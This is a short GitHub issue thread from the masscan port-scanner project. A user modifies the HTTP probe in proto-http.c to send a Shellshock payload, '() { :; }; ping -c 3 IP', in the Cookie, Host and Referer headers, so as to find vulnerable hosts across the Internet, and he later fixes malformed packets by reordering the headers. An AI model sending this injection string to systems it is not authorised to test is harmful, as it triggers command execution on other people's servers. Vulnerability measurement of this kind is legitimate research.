robertdavidgraham / masscan

TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.
GNU Affero General Public License v3.0
23.26k stars 3.04k forks source link

Malformed TCP packets #115

Closed Tharkin closed 9 years ago

Tharkin commented 9 years ago

Per the Errata Sec blog, I have made the changes to /src/proto-http.c. It compiles however, I get malformed packets using my variable as defined below. Did I fat finger something?

http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VCR-z_mhnlE

static const char httphello[] = "GET / HTTP/1.0\r\n" "User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)\r\n" "Accept: /_\r\n" //"Connection: Keep-Alive\r\n" //"Content-Length: 0\r\n" "http-header[Cookie] = () { :; }; ping -c 3 \r\n" "http-header[Host] = () { :; }; ping -c 3 \r\n" "http-header[Referer] = () { :; }; ping -c 3 \r\n" "\r\n";

Tharkin commented 9 years ago

static const char httphello[] = "GET / HTTP/1.0\r\n" "User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)\r\n" "Accept: /_\r\n" //"Connection: Keep-Alive\r\n" //"Content-Length: 0\r\n" "http-header[Cookie] = () { :; }; ping -c 3 IP\r\n" "http-header[Host] = () { :; }; ping -c 3 IP\r\n" "http-header[Referer] = () { :; }; ping -c 3 IP\r\n" "\r\n";

Tharkin commented 9 years ago

Resolved after messing around with the order of the HTTP header fields.